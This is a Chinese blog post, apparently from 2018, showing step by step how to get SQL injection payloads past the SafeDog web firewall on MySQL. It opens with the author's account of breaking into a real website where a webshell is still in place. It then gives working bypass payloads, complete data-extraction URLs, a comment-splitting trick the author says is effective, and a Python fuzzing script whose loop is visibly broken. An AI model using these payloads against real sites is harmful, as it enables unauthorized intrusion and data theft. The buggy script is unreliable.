繞過安全狗進行sql注入(MySQL)
看我如何一步一步繞過安全狗
前言
前幾天滲透了一個站,由於沒有做好善後工作被管理員發現了,再次訪問那個站的時候,管理員已經刪了大馬,裝上了網站安全狗(我估計大馬應該是安全狗刪除的,畢竟那個管理員真的太懶了,我的小馬還在,並且居然菜刀還可以連線),為了給這個管理員增強點安全防護意識,我就開始研究起了安全狗的繞過。
實驗環境
- 網站安全狗v4.0
- apache 2.4.27
- php 5.6
- MySQL 5.7
我們需要到安全狗官網上去下載最新版的網站安全狗(我用的apache版),將防護等級調到最高,這也是各個網站管理員經常做的事
判斷注入點
首先是判斷注入點,我們通常使用的and 1=1和and 1=2都會被攔截的,貼圖如下:
真是熟悉的介面!
試了一下能想到的方法(測試點是一個單引號的字元型注入,來自sqlilabs)
payload | 結果 |
---|---|
‘ | 資料庫報錯,不攔截 |
’ and 1=1–+ | 攔截 |
’ and sss | 不攔截 |
’ sss 1=1 | 不攔截 |
’ and(1=1) | 攔截 |
可見如果是字元型的報錯注入其實就很好判斷,直接看是否報錯^_^,如果想要通過and預算福判斷就需要想辦法繞過正則,首先and可以替換為&&,我們試一下
還是被攔截了,那我們再想辦法把1=1給替換掉,只要能表示真假值就達到我們的目的了,我首先想到的就是字元(字元表示真),但是也會被攔截。
payload | 報錯 |
---|---|
‘%26%26’a’–+ | 攔截 |
‘%26%261–+ | 攔截 |
‘%26%26true | 不攔截 |
所以可以用
&& true
&& false
繞過攔截。
當然除了用and判斷注入點,我們還可以使用or不是嗎?但是or不出意料是被攔截了的,所以我就用了xor與||來代替or,但是經過測試||運用不當是會被攔截的。以下是測試結果
payload | 報錯 |
---|---|
‘xor 1–+ | 不攔截 |
‘xor true–+ | 不攔截 |
‘|| 1 | 攔截 |
’ ||(1) | 不攔截 |
’ || true | 不攔截 |
我想上面的這些方式足夠用一段時間了吧!
判斷欄位數
接下來就是常用的order by語句的繞過了,我看freebuf有個哥們寫了一篇文章,直接使用大小寫就繞過了,而且他也是安全狗v4.0(他今年(2018)五月份測試的),我測試的時候大小寫直接被毫不留情的攔截了,於是稀裡糊塗測試了一番,返現直接利用mysql的內聯註釋直接就過了!
payload | 報錯 |
---|---|
‘/*!order*//*!by*/1–+ | 不攔截 |
注:據說有些版本的order by是直接不過濾的,這裡也是通過很簡單的內聯註釋就過了,看了安全狗並不在意order by,大多數的waf都是把注意力放在了能爆出資料的union select from上面
union select from
還是老規矩,先用手工試一下哪些地方可以fuzz:
payload | 報錯 |
---|---|
union select | 攔截 |
xunion select | 攔截 |
unionx select | 不攔截 |
union x select | 不攔截 |
union xselect | 不攔截 |
union selectx | 攔截 |
經過一番測試,發現我們可以在union與select之間做文章,即我們的fuzz內容是:
/*!union {fuzz} select*/
按照網上現有的詞庫(常規的),寫了一個fuzz指令碼
#! /usr/bin/env python
#-*- coding:utf-8 -*-
import requests
from bs4 import BeautifulSoup
import random
Fuzz_a = ['/*!','*/','/**/','/','?','~','!','.','%','-','*','+','=']
Fuzz_b = ['']
Fuzz_c = ['%0a','%0b','%0c','%0d','%0e','%0f','%0h','%0i','%0j']
FUZZ = Fuzz_a+Fuzz_b+Fuzz_c
url = "http://localhost/sqlilabs/Less-1/?id=1' /*!union{0}select*/12345,2,3%23"
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
def fuzz(num):
string = []
payload = string([string.append(random.choice(FUZZ)) for i in num])
if __name__ == "__main__":
while True:
#payload = ''
# for i in range(5):
# payload += random.choice(FUZZ)
for a in FUZZ:
for b in FUZZ:
for c in FUZZ:
for d in FUZZ:
for e in FUZZ:
payload = a+b+c+d+e
url = url.format(payload)
data = requests.get(url,headers=headers)
if 'Password' in data.text:
print '[*]payload:'+url+u'成功過狗!'
file = open('payload.txt','a')
file.write(url+'\n ')
file.close()
else:
print 'Nothing!!!'
不知道為什麼速度及其慢,跑了一晚上啥也沒跑出來,只有再去網上查查資料,看看以往的方法是否可行(這種東西一般是見光死,放出來基本上就沒用了)
儘管如此還是被我發現了一些:
http://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*@--|*/--+%0aselect*/ 1,2,3
上述方法經過我在v4.0上測試,成功繞過。當然,我們在注入的時候需要用到union select from,這裡如果直接加上from,肯定是會被過濾掉的(畢竟安全狗也不傻),所以,我們只要在from與表名之間按照union 與select之間同樣的規則變形就可以繞過了,例如:
http://localhost/sqlilabs/Less-1/?id=1%27/*!union/*@--|*//*@--|*//*@--|*/--+%0aselect*/%201,2,3/*!from/*@--|*//*@--|*//*@--|*/--+%0ausers*/--+
在實戰中我們還會遇到需要查詢database()等函式的情況,這也需要繞過,同樣可以利用前面的規則繞過,只需要把union select 分別替換為database 與 ()
http://localhost/sqlilabs/Less-1/?id=1%27/*!union/*@--|*//*@--|*//*@--|*/--+%0aselect*/%20/*!database/*@--|*//*@--|*//*@--|*/--+%0a()*/,schema_name,3/*!from/*@--|*//*@--|*//*@--|*/--+%0ainformation_schema.schemata*/--+
上面的語句應該夠用了吧。
但是是不是感覺上面的太複雜了?接下來才是重頭戲,根據多次的測試,我發現安全狗會把/**/
之間的內容直接忽略掉,所以就很有意思了,例如如下連結id存在注入:
http://xxxx/index.php?id=1
那麼我們構造這麼一個請求:
http://xxxx/index.php?a=/*&id=1 union select schema_name from information_schema.schemata--+*/
你猜猜會發生什麼?哈哈,截止發文(2018/7/31)該方法有效!
記錄我學到的,分享我學到的